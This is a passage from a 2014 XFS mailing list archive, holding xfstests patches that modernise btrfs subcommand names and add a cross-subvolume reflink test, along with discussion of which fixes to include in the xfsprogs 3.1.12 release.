rm -f $seqres.full _scratch_mkfs > /dev/null 2>&1 _scratch_mount -$BTRFS_UTIL_PROG sub create $SCRATCH_MNT/newvol >> $seqres.full 2>&1 \ +$BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/newvol >> $seqres.full 2>&1 \ || _fail "couldn't create subvol" subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT newvol) -$BTRFS_UTIL_PROG sub set-default $subvolid $SCRATCH_MNT >> $seqres.full 2>&1 \ +$BTRFS_UTIL_PROG subvolume set-default $subvolid $SCRATCH_MNT >> $seqres.full 2>&1 \ || _fail "couldn't set default" -$BTRFS_UTIL_PROG sub delete $SCRATCH_MNT/newvol >> $seqres.full 2>&1 +$BTRFS_UTIL_PROG subvolume delete $SCRATCH_MNT/newvol >> $seqres.full 2>&1 _scratch_unmount _scratch_mount || _fail "mount should have succeeded" diff --git a/tests/btrfs/013 b/tests/btrfs/013 index 5bbd7a3118e6..7620fcc450f3 100644 --- a/tests/btrfs/013 +++ b/tests/btrfs/013 @@ -72,7 +72,7 @@ _check_csum_error() } $XFS_IO_PROG -f -c "falloc 0 1M" -c "pwrite 16k 8k" -c "fsync" \ $SCRATCH_MNT/foo > $seqres.full 2>&1 -$BTRFS_UTIL_PROG fi ba $SCRATCH_MNT >> $seqres.full 2>&1 || \ +$BTRFS_UTIL_PROG filesystem balance $SCRATCH_MNT >> $seqres.full 2>&1 || \ _fail "balance failed" _scratch_unmount _scratch_mount diff --git a/tests/btrfs/014 b/tests/btrfs/014 index aa3edbb0ad14..142423f7910d 100755 --- a/tests/btrfs/014 +++ b/tests/btrfs/014 @@ -33,8 +33,8 @@ _create_snapshot() { for i in $(seq 20) do - btrfs sub snapshot $SCRATCH_MNT $SCRATCH_MNT/snapshot0 >/dev/null - btrfs sub delete $SCRATCH_MNT/snapshot0 >/dev/null + $BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT $SCRATCH_MNT/snapshot0 >/dev/null + $BTRFS_UTIL_PROG subvolume delete $SCRATCH_MNT/snapshot0 >/dev/null done } @@ -42,7 +42,7 @@ _balance() { for i in $(seq 20) do - btrfs balance start $SCRATCH_MNT >/dev/null + $BTRFS_UTIL_PROG balance start $SCRATCH_MNT >/dev/null done } diff --git a/tests/btrfs/015 b/tests/btrfs/015 index b7b502144889..0b5fdfd5b951 100644 --- a/tests/btrfs/015 +++ b/tests/btrfs/015 @@ -54,7 +54,7 @@ _scratch_mkfs > /dev/null 2>&1 _scratch_mount -o ro _scratch_mount -o rw,remount -$BTRFS_UTIL_PROG sub snap $SCRATCH_MNT $SCRATCH_MNT/snap >> $seqres.full 2>&1 \ +$BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT $SCRATCH_MNT/snap >> $seqres.full 2>&1 \ || _fail "couldn't create snapshot" echo "Silence is golden" diff --git a/tests/btrfs/016 b/tests/btrfs/016 index d711ecb63c14..6faead1070d7 100644 --- a/tests/btrfs/016 +++ b/tests/btrfs/016 @@ -34,9 +34,9 @@ status=1 # failure is the default! _cleanup() { - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/snap > /dev/null 2>&1 - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/snap1 > /dev/null 2>&1 - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/send > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/snap > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/snap1 > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/send > /dev/null 2>&1 rm -rf $TEST_DIR/$tmp_dir rm -f $tmp.* } @@ -65,15 +65,15 @@ export SELINUX_MOUNT_OPTIONS="" _scratch_mount mkdir $TEST_DIR/$tmp_dir -$BTRFS_UTIL_PROG subvol create $TEST_DIR/$tmp_dir/send \ - > $seqres.full 2>&1 || _fail "failed subvol create" +$BTRFS_UTIL_PROG subvolume create $TEST_DIR/$tmp_dir/send \ + > $seqres.full 2>&1 || _fail "failed subvolume create" dd if=/dev/urandom of=$TEST_DIR/$tmp_dir/send/foo bs=1M count=10 >> $seqres.full \ 2>&1 || _fail "dd failed" -$BTRFS_UTIL_PROG subvol snap -r $TEST_DIR/$tmp_dir/send \ +$BTRFS_UTIL_PROG subvolume snapshot -r $TEST_DIR/$tmp_dir/send \ $TEST_DIR/$tmp_dir/snap >> $seqres.full 2>&1 || _fail "failed snap" $XFS_IO_PROG -c "fpunch 1m 1m" $TEST_DIR/$tmp_dir/send/foo -$BTRFS_UTIL_PROG subvol snap -r $TEST_DIR/$tmp_dir/send \ +$BTRFS_UTIL_PROG subvolume snapshot -r $TEST_DIR/$tmp_dir/send \ $TEST_DIR/$tmp_dir/snap1 >> $seqres.full 2>&1 || _fail "failed snap" $FSSUM_PROG -A -f -w $tmp/fssum.snap $TEST_DIR/$tmp_dir/snap >> $seqres.full \ diff --git a/tests/btrfs/017 b/tests/btrfs/017 index d45f32a863d1..1f31e8a7bb33 100644 --- a/tests/btrfs/017 +++ b/tests/btrfs/017 @@ -54,7 +54,7 @@ _scratch_mkfs > /dev/null 2>&1 _scratch_mount -o ro _scratch_mount -o rw,remount -$BTRFS_UTIL_PROG sub snap $SCRATCH_MNT $SCRATCH_MNT/snap >> $seqres.full 2>&1 \ +$BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT $SCRATCH_MNT/snap >> $seqres.full 2>&1 \ || _fail "couldn't create snapshot" echo "Silence is golden" diff --git a/tests/btrfs/019 b/tests/btrfs/019 index c20ed9b5c153..45bba5ef98a3 100755 --- a/tests/btrfs/019 +++ b/tests/btrfs/019 @@ -34,9 +34,9 @@ status=1 # failure is the default! _cleanup() { - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/snap1 > /dev/null 2>&1 - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/snap2 > /dev/null 2>&1 - $BTRFS_UTIL_PROG subvol del $TEST_DIR/$tmp_dir/send > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/snap1 > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/snap2 > /dev/null 2>&1 + $BTRFS_UTIL_PROG subvolume delete $TEST_DIR/$tmp_dir/send > /dev/null 2>&1 rm -rf $TEST_DIR/$tmp_dir rm -f $tmp.* } @@ -62,8 +62,8 @@ export SELINUX_MOUNT_OPTIONS="" _scratch_mount mkdir $TEST_DIR/$tmp_dir -$BTRFS_UTIL_PROG subvol create $TEST_DIR/$tmp_dir/send \ - > $seqres.full 2>&1 || _fail "failed subvol create" +$BTRFS_UTIL_PROG subvolume create $TEST_DIR/$tmp_dir/send \ + > $seqres.full 2>&1 || _fail "failed subvolume create" SEND_TEST_DIR=$TEST_DIR/$tmp_dir/send @@ -73,7 +73,7 @@ touch $SEND_TEST_DIR/test/blah mkdir $SEND_TEST_DIR/test/foo touch $SEND_TEST_DIR/test/foo/bar -$BTRFS_UTIL_PROG subvol snap -r $TEST_DIR/$tmp_dir/send \ +$BTRFS_UTIL_PROG subvolume snapshot -r $TEST_DIR/$tmp_dir/send \ $TEST_DIR/$tmp_dir/snap1 >> $seqres.full 2>&1 || _fail "failed snap1" $BTRFS_UTIL_PROG send -f $TEST_DIR/$tmp_dir/send1.dump \ @@ -91,7 +91,7 @@ mkdir $SEND_TEST_DIR/test/foo touch $SEND_TEST_DIR/test/foo/bar touch $SEND_TEST_DIR/test/blah -$BTRFS_UTIL_PROG subvol snap -r $TEST_DIR/$tmp_dir/send \ +$BTRFS_UTIL_PROG subvolume snapshot -r $TEST_DIR/$tmp_dir/send \ $TEST_DIR/$tmp_dir/snap2 >> $seqres.full 2>&1 || _fail "failed snap2" $BTRFS_UTIL_PROG send -f $TEST_DIR/$tmp_dir/send2.dump \ diff --git a/tests/btrfs/022 b/tests/btrfs/022 index 41d8588d1023..ab256a39d890 100755 --- a/tests/btrfs/022 +++ b/tests/btrfs/022 @@ -75,7 +75,7 @@ _basic_test() _rescan_test() { # first with a blank subvol - run_check $BTRFS_UTIL_PROG subvol create $SCRATCH_MNT/a + run_check $BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/a run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT/a subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) run_check $FSSTRESS_PROG -d $SCRATCH_MNT/a -w -p 1 -n 2000 \ @@ -97,7 +97,7 @@ _rescan_test() #basic exceed limit testing _limit_test_exceed() { - run_check $BTRFS_UTIL_PROG subvol create $SCRATCH_MNT/a + run_check $BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/a run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) run_check $BTRFS_UTIL_PROG qgroup limit 5M 0/$subvolid $SCRATCH_MNT @@ -109,7 +109,7 @@ _limit_test_exceed() #basic noexceed limit testing _limit_test_noexceed() { - run_check $BTRFS_UTIL_PROG subvol create $SCRATCH_MNT/a + run_check $BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/a run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) run_check $BTRFS_UTIL_PROG qgroup limit 5M 0/$subvolid $SCRATCH_MNT diff --git a/tests/btrfs/024 b/tests/btrfs/024 index 1b619918a929..cb8a6e452376 100755 --- a/tests/btrfs/024 +++ b/tests/btrfs/024 @@ -1,5 +1,5 @@ #! /bin/bash -# FS QA Test No. btrfs/008 +# FS QA Test No. btrfs/024 # # btrfs wrong compression type regression test. This test is used to check # the oops will happen when the users write some data into the files whose diff --git a/tests/btrfs/025 b/tests/btrfs/025 index 5f13832be89c..482467ffc2d6 100755 --- a/tests/btrfs/025 +++ b/tests/btrfs/025 @@ -63,13 +63,13 @@ $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch $XFS_IO_PROG -f -c "pwrite 1482752 2978" $SCRATCH_MNT/foo | _filter_xfs_io $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch -$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 | \ _filter_scratch $XFS_IO_PROG -f -c "truncate 883305" $SCRATCH_MNT/foo | _filter_xfs_io $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT | _filter_scratch -$BTRFS_UTIL_PROG subvol snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 | \ _filter_scratch $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap 2>&1 | _filter_scratch -- 1.8.5 From arekm@maven.pl Wed Jan 22 08:48:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9A9877F7C for ; Wed, 22 Jan 2014 08:48:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7ED9B8F8068 for ; Wed, 22 Jan 2014 06:48:56 -0800 (PST) X-ASG-Debug-ID: 1390402134-04cbb05ba97c7e0001-NocioJ Received: from mail-ee0-f49.google.com (mail-ee0-f49.google.com [74.125.83.49]) by cuda.sgi.com with ESMTP id yjwWKBd7w4xHikSJ (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 22 Jan 2014 06:48:54 -0800 (PST) X-Barracuda-Envelope-From: arekm@maven.pl X-Barracuda-Apparent-Source-IP: 74.125.83.49 Received: by mail-ee0-f49.google.com with SMTP id d17so4959958eek.8 for ; Wed, 22 Jan 2014 06:48:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=maven.pl; s=maven; h=from:to:subject:date:user-agent:cc:references:in-reply-to :mime-version:content-type:content-transfer-encoding:message-id; bh=Ggp3L7OPhIFcY/QrBIyYc8wm6qTgWBOa0Pl7kLOH7ZA=; b=mTGbvDbW4CCZ6tVVhTPj8XKA8jXCXE8Rng/TCACZmhqwcpUbQLRjcSVgKZn4SZa/IO R3omg2vw8+T7gyROYnCQLeOeozXspASkRaqVHbVzGlTgmuRvZD6QuLl6XGWILIgqicNY cbj4OpLcS5/NkDygioVbbQgbmYdGrJ1wj8ulo= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:subject:date:user-agent:cc:references :in-reply-to:mime-version:content-type:content-transfer-encoding :message-id; bh=Ggp3L7OPhIFcY/QrBIyYc8wm6qTgWBOa0Pl7kLOH7ZA=; b=dOkI1cdQxELs+FQxXMvjvr6uiIkX3WbkuzjIb/q4k6pj3TAr6HzkSG7wHMAqoGfUDK 5stAcyEA8RZk4YJsq+L2qx+RUDs2VxKYLVqwwP0UYlJb0tL2iOZO8yPLDHBeWwiBNMy9 GjHwgQ6L7vFR/gxahC75pxq353SuhIXr/fnG901672fQUFjVzhYMYLZ4pk73xNKPb9dU h/ugmXq9+2sFOgeYhQHVsB2co/i52jMcZ0bjECJAMFKiUOB2Fc/aMruYpvnDfvB0BjHo CVN31huVJq6yt7swVRJFaijO2IdHSwzM1eTNByw8QjjYMv8JhOMydik7xUnKMdzAiusP b0gQ== X-Gm-Message-State: ALoCoQmz14MHEDm8zLdWUq/E7XuIKecA3uyGu+UKqvJcXc7gkKtQz70LVFtXHa2vuEa4aKey4gHq X-Received: by 10.15.82.201 with SMTP id a49mr362532eez.99.1390402133703; Wed, 22 Jan 2014 06:48:53 -0800 (PST) Received: from t400.localnet ([91.234.176.244]) by mx.google.com with ESMTPSA id j46sm27940447eew.18.2014.01.22.06.48.53 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Wed, 22 Jan 2014 06:48:53 -0800 (PST) From: Arkadiusz =?utf-8?q?Mi=C5=9Bkiewicz?= To: Dave Chinner Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? Date: Wed, 22 Jan 2014 15:48:52 +0100 X-ASG-Orig-Subj: Re: xfsprogs 3.1.12 and 3.2.0 releases? User-Agent: KMail/1.13.7 (Linux/3.13.0-final-dirty; KDE/4.12.0; x86_64; ; ) Cc: xfs@oss.sgi.com References: <201401201822.48520.arekm@maven.pl> <201401210917.38674.arekm@maven.pl> <20140121234151.GJ13997@dastard> In-Reply-To: <20140121234151.GJ13997@dastard> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201401221548.52273.arekm@maven.pl> X-Barracuda-Connect: mail-ee0-f49.google.com[74.125.83.49] X-Barracuda-Start-Time: 1390402134 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wednesday 22 of January 2014, Dave Chinner wrote: > On Tue, Jan 21, 2014 at 09:17:38AM +0100, Arkadiusz Mi=C5=9Bkiewicz wrote: > > By looking into git log these look like small fixes for 3.1.x. Could > > someone else recheck? >=20 > ..... >=20 > > 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode > > structures 61510437c627b529feb95ebffddd73df5ed5b104 repair: prefetching > > is turned off unnecessarily 0cce4aa198f0470817bedb3781ea5b6955e43076 > > repair: Increase default repair parallelism on large filesystems >=20 > I think these three are not a great idea for 3.1.x. They result in > significant changes of behaviour that can result in increased memory > consumption by default. I'd prefer that we don't make changes to the > default behaviour in a bug-fix only point release. 3a19fb7dce9d570e78deaf5c26c0ab8a4a5bef67 libxfs: stop caching inode looks like wasting memory fix to me but ok. > Dave. =2D-=20 Arkadiusz Mi=C5=9Bkiewicz, arekm / maven.pl From tinguely@sgi.com Wed Jan 22 08:54:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F039C7F7C for ; Wed, 22 Jan 2014 08:54:54 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay1.corp.sgi.com (Postfix) with ESMTP id B87C78F8037; Wed, 22 Jan 2014 06:54:54 -0800 (PST) Message-ID: <52DFDBBF.50803@sgi.com> Date: Wed, 22 Jan 2014 08:54:55 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: xfsprogs 3.1.12 and 3.2.0 releases? References: <201401201822.48520.arekm@maven.pl> <20140120230814.GA4287@infradead.org> <20140120231158.GL1935@sgi.com> <201401210917.38674.arekm@maven.pl> <20140121234151.GJ13997@dastard> <52DFD801.40801@sgi.com> In-Reply-To: <52DFD801.40801@sgi.com> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit On 01/22/14 08:38, Mark Tinguely wrote: ... > Thanks for making the list. I agree with Dave above about 3 feature > patches and the directory file type changes. > > The following patch that is in your "not sure" list looks like a good > bug fix that is not CRC related: > > ba28b64e69ce3a7989df88f71a5cb608b1c71e3 xfs_repair: drop buffer > reference on symlink error > Take that back, if (fsbno == NULLDFSBNO) then bp will be NULL also. So we do not want to do the libxfs_putbuf()... this patch is not appropriate for 3.1.12. --Mark. From sascha@askani.name Wed Jan 22 09:12:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=TVD_SPACE_RATIO autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8D8F67F85 for ; Wed, 22 Jan 2014 09:12:45 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 78D8D8F8035 for ; Wed, 22 Jan 2014 07:12:42 -0800 (PST) X-ASG-Debug-ID: 1390403559-04cb6c75087e1d0001-w1Z2WR Received: from lupus.uberspace.de (lupus.uberspace.de [95.143.172.176]) by cuda.sgi.com with SMTP id GE9RHi1lzhmisGBf for ; Wed, 22 Jan 2014 07:12:39 -0800 (PST) X-Barracuda-Envelope-From: sascha@askani.name X-Barracuda-Apparent-Source-IP: 95.143.172.176 Received: (qmail 7139 invoked from network); 22 Jan 2014 15:12:37 -0000 Received: from unknown (HELO ?172.20.10.3?) (109.43.2.68) by lupus.uberspace.de with SMTP; 22 Jan 2014 15:12:37 -0000 From: Askani Sascha Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: subscribe Message-Id: <030CEAB4-9614-49FB-A98F-741B2069C192@askani.name> X-ASG-Orig-Subj: subscribe Date: Wed, 22 Jan 2014 16:12:34 +0100 To: linux-xfs@oss.sgi.com Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) X-Mailer: Apple Mail (2.1827) X-Barracuda-Connect: lupus.uberspace.de[95.143.172.176] X-Barracuda-Start-Time: 1390403559 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- subscribe From koen.de.wit@oracle.com Wed Jan 22 09:15:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3FB9C7F85 for ; Wed, 22 Jan 2014 09:15:58 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F3F60304059 for ; Wed, 22 Jan 2014 07:15:54 -0800 (PST) X-ASG-Debug-ID: 1390403753-04bdf030e98a030001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id WnxNBhKbpeTwz6sT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 22 Jan 2014 07:15:53 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s0MFFq2t001145 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 22 Jan 2014 15:15:52 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0MFFpc0009184 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 22 Jan 2014 15:15:51 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s0MFFov6023919; Wed, 22 Jan 2014 15:15:50 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 22 Jan 2014 07:15:50 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, dsterba@suse.cz, Koen De Wit Subject: [PATCH v2] xfstests: btrfs: cross-subvolume sparse copy Date: Wed, 22 Jan 2014 16:15:19 +0100 X-ASG-Orig-Subj: [PATCH v2] xfstests: btrfs: cross-subvolume sparse copy Message-Id: <1390403719-32500-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1390403753 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144362 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines This testscript creates reflinks to files on different subvolumes, overwrites the original files and reflinks, and moves reflinked files between subvolumes. Signed-off-by: Koen De Wit Reviewed-by: David Sterba --- v1: Resend (originally submitted as test 302, btrfs/316) v2: - use $BTRFS_UTIL_PROG instead of btrfs command - use full subcommands - explicitly define the "always" parameter to cp --reflink - define $seqres diff --git a/tests/btrfs/030 b/tests/btrfs/030 new file mode 100644 index 0000000..3a1b970 --- /dev/null +++ b/tests/btrfs/030 @@ -0,0 +1,138 @@ +#! /bin/bash +# FS QA Test No. 030 +# +# Testing cross-subvolume sparse copy on btrfs +# - Create two subvolumes, mount one of them +# - Create a file on each (sub/root)volume, +# reflink them on the other volumes +# - Change one original and two reflinked files +# - Move reflinked files between subvolumes +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + umount $SCRATCH_MNT + rm -rf $TESTDIR1 + rm -rf $TESTDIR2 + $BTRFS_UTIL_PROG subvolume delete $SUBVOL1 >> $seqres.full + $BTRFS_UTIL_PROG subvolume delete $SUBVOL2 >> $seqres.full + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux + +_require_scratch +_require_cp_reflink + +_checksum_files() { + for F in file1 file2 file3 + do + echo "$F:" + for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 + do + _md5_checksum $D/$F + done + done +} + +TESTDIR1=$TEST_DIR/test-$seq-1 +TESTDIR2=$TEST_DIR/test-$seq-2 +SUBVOL1=$TEST_DIR/subvol-$seq-1 +SUBVOL2=$TEST_DIR/subvol-$seq-2 + +_scratch_unmount 2>/dev/null +rm -rf $seqres.full +rm -rf $TESTDIR1 $TESTDIR2 +$BTRFS_UTIL_PROG subvolume delete $SUBVOL1 >/dev/null 2>&1 +$BTRFS_UTIL_PROG subvolume delete $SUBVOL2 >/dev/null 2>&1 + +mkdir $TESTDIR1 +mkdir $TESTDIR2 +$BTRFS_UTIL_PROG subvolume create $SUBVOL1 >> $seqres.full +$BTRFS_UTIL_PROG subvolume create $SUBVOL2 >> $seqres.full +_mount -t btrfs -o subvol=subvol-$seq-1 $TEST_DEV $SCRATCH_MNT + +echo "Create initial files" +# TESTDIR1/file1 is very small and will be inlined +$XFS_IO_PROG -f -c 'pwrite -S 0x61 0 10' $TESTDIR1/file1 \ + >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x62 0 13000' $SCRATCH_MNT/file2 \ + >> $seqres.full +$XFS_IO_PROG -f -c 'pwrite -S 0x63 0 17000' $SUBVOL2/file3 \ + >> $seqres.full + +echo "Create reflinks to the initial files on other subvolumes" +cp --reflink=always $TESTDIR1/file1 $SUBVOL1 +cp --reflink=always $TESTDIR1/file1 $SUBVOL2 +cp --reflink=always $SUBVOL1/file2 $TESTDIR1/ +cp --reflink=always $SUBVOL1/file2 $SUBVOL2 +cp --reflink=always $SUBVOL2/file3 $TESTDIR1/ +cp --reflink=always $SUBVOL2/file3 $SUBVOL1 + +echo "Verify the reflinks" +_verify_reflink $SCRATCH_MNT/file2 $TESTDIR1/file2 +_verify_reflink $SCRATCH_MNT/file2 $SUBVOL2/file2 +_verify_reflink $SUBVOL2/file3 $TESTDIR1/file3 +_verify_reflink $SUBVOL2/file3 $SCRATCH_MNT/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nOverwrite some files with new content" +$XFS_IO_PROG -c 'pwrite -S 0x64 0 20' $TESTDIR1/file1 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x66 0 21000' $SUBVOL2/file2 >> $seqres.full +$XFS_IO_PROG -c 'pwrite -S 0x65 5000 5000' $SCRATCH_MNT/file3 \ + >> $seqres.full + +echo -n "Verify that non-overwritten reflinks " +echo "still have the same data blocks" +_verify_reflink $TESTDIR1/file2 $SCRATCH_MNT/file2 +_verify_reflink $TESTDIR1/file3 $SUBVOL2/file3 +echo "Verify the file contents:" +_checksum_files + +echo -e "---\nShuffle files between directories" +mv $TESTDIR1/file* $TESTDIR2 +mv $SCRATCH_MNT/file* $TESTDIR1/ +mv $SUBVOL2/file* $SCRATCH_MNT/ +mv $TESTDIR2/file* $SUBVOL2/ + +# No _verify_reflink here as data is copied when moving files +# between subvols +echo "Verify the file contents:" +_checksum_files + 